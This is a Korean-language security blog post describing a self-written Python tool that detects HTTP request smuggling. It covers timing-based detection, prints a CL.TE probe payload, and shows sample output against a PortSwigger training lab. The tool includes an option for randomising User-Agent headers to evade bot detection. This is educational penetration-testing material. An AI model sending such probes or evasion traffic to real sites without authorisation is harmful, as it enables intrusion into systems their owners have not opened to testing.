python 으로 http request smuggling tool 만들기
소스 코드는 github 에서 볼 수 있으니 참고 바란다.
모든 기능은 완성되지 않았지만, 사용하는데 문제는 없을 것이다.
http request smuggling 도구를 만들기 위해 어떻게 하면 취약함을 알 수 있는가를 portswigger 에서 공부했다.
또한 이미 짱짱해커들이 만들어 놓은 payload 를 참고해서 나만의 툴을 개발하게 되었다.
Module
이 툴을 사용하기 위해 아래의 모듈이 필요하다.
import requests
import argparse
import sys
from fake_useragent import UserAgent
import time
import socket, ssl
from urllib.parse import urlparse
How to detect - Timing tech
http request smuggling 공격에 취약한가를 알기 위해 필자는 timing tech 공격을 사용했다.
이는 front-end 에서 패킷을 처리할때 아무런 문제가 없어 포워딩을 하는데, 하지만 back-end 에서 패킷을 처리할때 data가 더 오지 않아 wait 하는 과정에서 timeout 을 리턴할때를 탐지한다.
예를들어 테스팅 사이트가 CL.TE 방식으로 구성되어 있다면, 툴에서는 아래와 같은 payload를 전송한다.
POST /path HTTP/1.1
Host: target-host.com
Content-Length: 4
Transfer-Encoding: chunked
0
위 payload는 CL.TE 방식일 때, timeout을 리턴하게 만드는 공격이다.
TE.CL과 TE.TE 를 탐지할 때도 마찬가지 이다.
How to use
사용방법은 아래와 같다.
-h, --help show this help message and exit
--url URL Input url. --url http://test.com
--agent Generating random User-Agent. --agent
--timeout TIMEOUT Set timeout. Default: 7s. --timeout [time]
테스팅 사이트가 봇을 감지한다면, --agent 옵션을 넣어 랜덤한 User-agent 를 생성해서 봇 감지를 피할 수 있다.
$ python3 smuggler.py --url https://target-host.com --agent
timeout 옵션이 있지만 아직 개발 중이다.
출력 예시는 아래와 같이 서버의 구성과 payload를 출력하고 프로그램이 종료된다.
$ python3 smuggler.py --url https://ac9f1faa1f71d93b807b054000660013.web-security-academy.net/ --agent
_
___ _ __ ___ _ _ __ _ __ _| | ___ _ __ _ __ _ _
/ __| '_ ` _ \| | | |/ _` |/ _` | |/ _ \ '__| | '_ \| | | |
\__ \ | | | | | |_| | (_| | (_| | | __/ | _ | |_) | |_| |
|___/_| |_| |_|\__,_|\__, |\__, |_|\___|_| (_) | .__/ \__, |
|___/ |___/ |_| |___/
by universe
[*] Generating fake user-agent...
[*] Done.
[*] Sending to https://ac9f1faa1f71d93b807b054000660013.web-security-academy.net/
[*] Testing CL.TE...
└───> HTTP/1.1 500 Internal Server Error
[*] Server using CLTE
>>
====== payload ======
POST / HTTP/1.1
Host: ac9f1faa1f71d93b807b054000660013.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked
0
======================
Reference
https://portswigger.net/web-security/request-smuggling https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
'🔒Security' 카테고리의 다른 글
python flask debugger pin, find and exploit (0) | 2020.08.29 |
---|---|
python으로 사이트에 있는 url crawler tool 개발 (0) | 2020.03.30 |
Paypal에서 발견된 HTTP Request Smuggling - 실습 환경 구축 (0) | 2020.03.22 |
[pwn] - pwntools 로 PIE base 구하기 (2) | 2020.02.23 |
[pwn] - environ 변수로 stack leak 하기 (1) | 2020.02.23 |
댓글
이 글 공유하기
다른 글
-
python flask debugger pin, find and exploit
python flask debugger pin, find and exploit
2020.08.29 -
python으로 사이트에 있는 url crawler tool 개발
python으로 사이트에 있는 url crawler tool 개발
2020.03.30 -
Paypal에서 발견된 HTTP Request Smuggling - 실습 환경 구축
Paypal에서 발견된 HTTP Request Smuggling - 실습 환경 구축
2020.03.22 -
[pwn] - pwntools 로 PIE base 구하기
[pwn] - pwntools 로 PIE base 구하기
2020.02.23